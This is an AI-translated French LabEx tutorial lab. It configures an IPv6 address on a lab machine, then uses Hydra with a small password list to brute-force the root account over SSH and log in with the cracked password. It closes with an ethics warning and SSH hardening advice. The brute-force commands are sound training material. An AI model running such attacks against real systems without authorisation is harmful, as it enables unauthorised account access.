Attaquer des cibles IPv6 avec Hydra

HydraHydraBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce labo (lab), vous apprendrez à attaquer des cibles IPv6 à l'aide de Hydra. Le labo se concentre sur la configuration d'un serveur avec une adresse IPv6, puis sur l'utilisation de Hydra pour attaquer son service SSH.

Le labo commence par la configuration du serveur avec l'adresse IPv6 2001:db8:1::1/64 sur l'interface eth0 à l'aide de la commande ip. Vous allez ensuite activer l'interface et vérifier la configuration. Enfin, vous utiliserez Hydra avec l'option -6 pour cibler le service SSH IPv6 et vérifier les résultats de l'attaque.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/target_ip("Target IP Specification") hydra/HydraGroup -.-> hydra/target_service("Target Service Selection") hydra/HydraGroup -.-> hydra/ssh_attack("SSH Brute Force") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") subgraph Lab Skills hydra/single_username -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} hydra/single_password -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} hydra/target_ip -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} hydra/target_service -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} hydra/ssh_attack -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} hydra/success_detection -.-> lab-550759{{"Attaquer des cibles IPv6 avec Hydra"}} end

Configurer le serveur avec une adresse IPv6

Dans cette étape, nous allons configurer le serveur avec une adresse IPv6. C'est une étape cruciale pour activer la communication IPv6 et préparer l'attaque ultérieure sur le service SSH IPv6.

Tout d'abord, comprenons les bases de l'adressage IPv6. Les adresses IPv6 sont des adresses de 128 bits, généralement représentées en notation hexadécimale. Une adresse IPv6 typique ressemble à ceci : 2001:0db8:85a3:0000:0000:8a2e:0370:7334.

Pour simplifier la configuration, nous allons utiliser une adresse IPv6 simple pour notre serveur. Nous allons attribuer l'adresse 2001:db8:1::1/64 à l'interface eth0.

Remarque : L'interface eth0 est un nom d'interface réseau courant dans les systèmes Linux. Si votre système utilise un nom d'interface différent (par exemple, ens33), remplacez eth0 par le nom correct de l'interface dans les commandes suivantes. Vous pouvez utiliser la commande ip addr pour vérifier vos interfaces réseau.

Maintenant, configurons l'adresse IPv6. Nous allons utiliser la commande ip, qui est un outil puissant pour gérer les interfaces réseau.

  1. Ajouter l'adresse IPv6 à l'interface eth0 :

    Ouvrez un terminal dans la machine virtuelle (VM) LabEx. Exécutez la commande suivante :

    sudo ip addr add 2001:db8:1::1/64 dev eth0

    Cette commande ajoute l'adresse IPv6 2001:db8:1::1/64 à l'interface eth0. Le /64 spécifie la longueur du préfixe réseau, qui détermine la taille du sous - réseau IPv6.

  2. Activer l'interface eth0 :

    sudo ip link set dev eth0 up

    Cette commande active l'interface eth0, lui permettant d'envoyer et de recevoir du trafic réseau.

  3. Vérifier la configuration de l'adresse IPv6 :

    Pour vérifier que l'adresse IPv6 a été correctement configurée, utilisez à nouveau la commande ip addr :

    ip addr show eth0

    La sortie devrait inclure l'adresse IPv6 2001:db8:1::1/64 dans la section inet6. Vous devriez voir quelque chose de similaire à ce qui suit :

    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
        link/ether 00:0c:29:xx:xx:xx brd ff:ff:ff:ff:ff:ff
        inet 192.168.xx.xx/24 brd 192.168.xx.255 scope global dynamic eth0
           valid_lft 85781sec preferred_lft 85781sec
        inet6 2001:db8:1::1/64 scope global
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:fexx:xxxx/64 scope link
           valid_lft forever preferred_lft forever

    La ligne inet6 2001:db8:1::1/64 scope global confirme que l'adresse IPv6 a été correctement configurée.

  4. Ajouter une passerelle IPv6 par défaut (Optionnel, mais recommandé pour une connectivité IPv6 complète) :

    Si vous voulez que votre serveur puisse communiquer avec d'autres réseaux IPv6, vous devez configurer une passerelle IPv6 par défaut. Cette étape suppose que vous avez un routeur sur votre réseau qui fournit une connectivité IPv6. Remplacez 2001:db8:1::254 par l'adresse IPv6 réelle de votre routeur.

    sudo ip -6 route add default via 2001:db8:1::254

    Pour vérifier la passerelle IPv6 par défaut, utilisez la commande ip -6 route :

    ip -6 route

    La sortie devrait inclure une ligne similaire à :

    default via 2001:db8:1::254 dev eth0 metric 1024 pref medium

    Remarque importante : La configuration ci - dessus n'est pas persistante après un redémarrage. Pour rendre la configuration de l'adresse IPv6 persistante, vous modifieriez généralement les fichiers de configuration réseau (par exemple, /etc/network/interfaces sur les systèmes basés sur Debian ou /etc/sysconfig/network - scripts/ifcfg - eth0 sur les systèmes basés sur Red Hat). Cependant, en raison des limitations de l'environnement de la machine virtuelle LabEx (en particulier, l'impossibilité d'utiliser systemctl et la nature éphémère du conteneur), nous allons sauter la mise en place d'une configuration persistante. Pour le besoin de ce labo, l'adresse IPv6 sera configurée uniquement pour la session actuelle.

Utiliser l'option -6 pour privilégier IPv6

Dans cette étape, nous allons nous préparer à l'attaque du service SSH IPv6 en comprenant et en utilisant l'option -6 avec les outils réseau. L'option -6 est couramment utilisée pour spécifier une préférence pour IPv6 lors de l'interaction avec les services réseau. Cela est important car, par défaut, certains outils peuvent privilégier IPv4 si les adresses IPv4 et IPv6 sont disponibles.

Pour nous assurer que nous ciblons l'adresse IPv6 que nous avons configurée à l'étape précédente, nous allons utiliser la commande ping avec l'option -6. Cela permettra de vérifier que nous pouvons atteindre le serveur en utilisant son adresse IPv6.

  1. Ping l'adresse IPv6 :

    Ouvrez un terminal dans la machine virtuelle LabEx. Exécutez la commande suivante :

    ping -6 2001:db8:1::1

    Cette commande envoie des paquets ICMP Echo Request à l'adresse IPv6 2001:db8:1::1. Si le serveur est accessible via IPv6, vous devriez voir des réponses du serveur. La sortie devrait ressembler à ceci :

    PING 2001:db8:1::1(2001:db8:1::1) 56 data bytes
    64 bytes from 2001:db8:1::1: icmp_seq=1 ttl=64 time=0.020 ms
    64 bytes from 2001:db8:1::1: icmp_seq=2 ttl=64 time=0.018 ms
    64 bytes from 2001:db8:1::1: icmp_seq=3 ttl=64 time=0.019 ms
    ...

    Si vous ne voyez aucune réponse, vérifiez à nouveau la configuration de l'adresse IPv6 de l'étape précédente et assurez-vous que l'interface eth0 est activée. Vérifiez également qu'il n'y a pas de règles de pare-feu bloquant le trafic ICMPv6.

  2. Comprendre l'option -6 :

    L'option -6 indique à la commande ping d'utiliser IPv6. De nombreux autres outils réseau, tels que ssh, curl et wget, prennent également en charge l'option -6. L'utilisation de cette option garantit que l'outil tente de se connecter à l'hôte cible en utilisant IPv6.

    Dans l'étape suivante, nous allons utiliser Hydra pour attaquer le service SSH. Nous utiliserons l'option -6 avec Hydra pour cibler spécifiquement l'adresse IPv6 du serveur SSH. Cela nous assure que nous testons la sécurité de la configuration SSH IPv6.

  3. Tester la connexion SSH avec l'option -6 (Optionnel) :

    Bien que nous allions attaquer le service SSH à l'étape suivante, il est recommandé de tester une connexion SSH de base en utilisant le flag -6 pour s'assurer que SSH écoute sur l'adresse IPv6. En supposant que vous avez un serveur SSH en cours d'exécution sur la cible, et un compte utilisateur nommé testuser avec le mot de passe password, vous pouvez tester la connexion avec :

    ssh -6 testuser@2001:db8:1::1

    Vous serez probablement invité à accepter l'empreinte de la clé SSH. Tapez yes puis appuyez sur Entrée. Ensuite, entrez le mot de passe password lorsque vous y êtes invité. En cas de succès, vous serez connecté au serveur SSH. Tapez exit pour vous déconnecter.

    Remarque : Cette étape est optionnelle car nous allons attaquer le service SSH à l'étape suivante, ce qui teste implicitement la connexion SSH. Cependant, c'est un bon moyen de vérifier que SSH écoute sur l'adresse IPv6 avant de lancer l'attaque. Si vous n'avez pas de serveur SSH en cours d'exécution ou de compte utilisateur de test, vous pouvez sauter cette étape.

Attaquer le service SSH IPv6

Dans cette étape, nous allons utiliser Hydra pour effectuer une attaque de force brute sur le service SSH exécuté sur l'adresse IPv6 que nous avons configurée précédemment. Hydra est un outil puissant de craquage de mots de passe qui prend en charge divers protocoles, y compris SSH.

Avant de commencer, créons une simple liste de mots de passe. Cette liste contiendra les mots de passe que Hydra essaiera d'utiliser pour s'authentifier auprès du service SSH.

  1. Créer une liste de mots de passe :

    Ouvrez un terminal dans la machine virtuelle LabEx. Utilisez l'éditeur nano pour créer un fichier nommé passwords.txt dans le répertoire ~/project :

    nano ~/project/passwords.txt

    Ajoutez les mots de passe suivants au fichier, un mot de passe par ligne :

    password
    123456
    qwerty
    admin
    secret

    Enregistrez le fichier et quittez nano (Ctrl+X, puis Y, puis Entrée).

  2. Exécuter Hydra pour attaquer le service SSH IPv6 :

    Maintenant, nous allons utiliser Hydra pour attaquer le service SSH. Nous utiliserons l'option -6 pour spécifier que nous voulons cibler l'adresse IPv6. Nous spécifierons également le nom d'utilisateur à attaquer (par exemple, root), la liste de mots de passe que nous avons créée (passwords.txt) et l'adresse IPv6 du serveur SSH (2001:db8:1::1).

    Exécutez la commande suivante :

    hydra -6 -l root -P ~/project/passwords.txt ssh://2001:db8:1::1

    Décortiquons cette commande :

    • hydra : La commande pour exécuter l'outil Hydra.
    • -6 : Spécifie que nous voulons utiliser IPv6.
    • -l root : Spécifie le nom d'utilisateur à attaquer. Dans ce cas, nous attaquons l'utilisateur root.
    • -P ~/project/passwords.txt : Spécifie la liste de mots de passe à utiliser. Dans ce cas, nous utilisons le fichier passwords.txt que nous avons créé dans le répertoire ~/project.
    • ssh://2001:db8:1::1 : Spécifie le service SSH cible. Le préfixe ssh:// indique que nous attaquons un service SSH, et 2001:db8:1::1 est l'adresse IPv6 du serveur.

    Hydra va maintenant commencer à tester les mots de passe du fichier passwords.txt contre le service SSH. Si Hydra trouve un mot de passe valide, il affichera les identifiants. La sortie devrait ressembler à ceci :

    Hydra v9.1 (c) 2020 by van Hauser/THC - Use freely but only for legal purposes.
    
    Hydra starting at 2023-10-27 10:00:00
    [DATA] 1 task, 5 hosts, 5 tries per host
    [DATA] attacking ssh://2001:db8:1::1:22
    [22][ssh] host: 2001:db8:1::1   login: root   password: password
    Hydra finished.

    Cette sortie indique que Hydra a réussi à craquer le mot de passe de l'utilisateur root, et que le mot de passe est password.

    Remarque importante : Effectuer une attaque de force brute sur les mots de passe d'un système sans autorisation est illégal et contraire à l'éthique. Ce laboratoire a uniquement un but éducatif, et vous ne devriez utiliser ces techniques que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.

Vérifier les résultats de l'attaque IPv6

Dans cette étape, nous allons vérifier les résultats de l'attaque Hydra sur le service SSH IPv6. Nous allons vérifier si Hydra a réussi à craquer le mot de passe et, dans ce cas, tenter de nous connecter au service SSH en utilisant les identifiants craqués.

  1. Examiner la sortie de Hydra :

    Examinez attentivement la sortie de la commande Hydra de l'étape précédente. Recherchez une ligne indiquant que le mot de passe a été craqué avec succès. La sortie devrait ressembler à ceci :

    [22][ssh] host: 2001:db8:1::1   login: root   password: password

    Si vous voyez cette ligne, cela signifie que Hydra a réussi à craquer le mot de passe de l'utilisateur root, et que le mot de passe est password. Si Hydra n'a pas trouvé de mot de passe valide, vous devrez ajuster votre liste de mots de passe ou examiner les problèmes potentiels de configuration du service SSH.

  2. Tenter de vous connecter au service SSH en utilisant les identifiants craqués :

    Maintenant que nous avons les identifiants craqués, nous allons tenter de nous connecter au service SSH en utilisant la commande ssh. Nous utiliserons l'option -6 pour spécifier que nous voulons nous connecter à l'adresse IPv6.

    Exécutez la commande suivante, en remplaçant password par le mot de passe réel que Hydra a craqué :

    ssh -6 root@2001:db8:1::1

    Lorsque vous êtes invité à saisir le mot de passe, entrez le mot de passe craqué (par exemple, password). Si la connexion réussit, vous serez connecté au serveur SSH.

    The authenticity of host '[2001:db8:1::1]:22 ([2001:db8:1::1]:22)' can't be established.
    ECDSA key fingerprint is SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '[2001:db8:1::1]:22' (ECDSA) to the list of known hosts.
    root@2001:db8:1::1's password:
    Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    ...

    Si vous parvenez à vous connecter avec succès, cela confirme que l'attaque Hydra a réussi et que le service SSH est vulnérable au craquage de mot de passe.

  3. Recommandations de sécurité :

    Ce laboratoire démontre l'importance d'utiliser des mots de passe forts et de mettre en œuvre les meilleures pratiques de sécurité pour protéger votre service SSH. Voici quelques recommandations :

    • Utilisez des mots de passe forts : Utilisez des mots de passe d'au moins 12 caractères et contenant un mélange de lettres majuscules, de lettres minuscules, de chiffres et de symboles.
    • Désactivez l'authentification par mot de passe : Pensez à désactiver l'authentification par mot de passe et à utiliser des clés SSH à la place. Les clés SSH sont plus sécurisées que les mots de passe car elles sont beaucoup plus difficiles à craquer.
    • Mettez en œuvre une limitation du débit : Utilisez des outils comme fail2ban pour mettre en œuvre une limitation du débit sur les tentatives de connexion SSH. Cela empêchera les attaquants d'essayer trop de mots de passe en peu de temps.
    • Gardez votre logiciel à jour : Assurez-vous que le logiciel de votre serveur SSH est à jour avec les derniers correctifs de sécurité.

Résumé

Dans ce laboratoire, nous avons configuré un serveur avec une adresse IPv6, une étape cruciale pour permettre la communication IPv6. Cela a impliqué de comprendre les bases de l'adressage IPv6 et d'utiliser la commande ip pour attribuer l'adresse 2001:db8:1::1/64 à l'interface eth0.

Nous avons ensuite activé l'interface et vérifié la configuration en utilisant ip addr show eth0, pour nous assurer que l'adresse IPv6 était correctement attribuée. Cette configuration prépare le serveur aux attaques ultérieures sur le service SSH IPv6.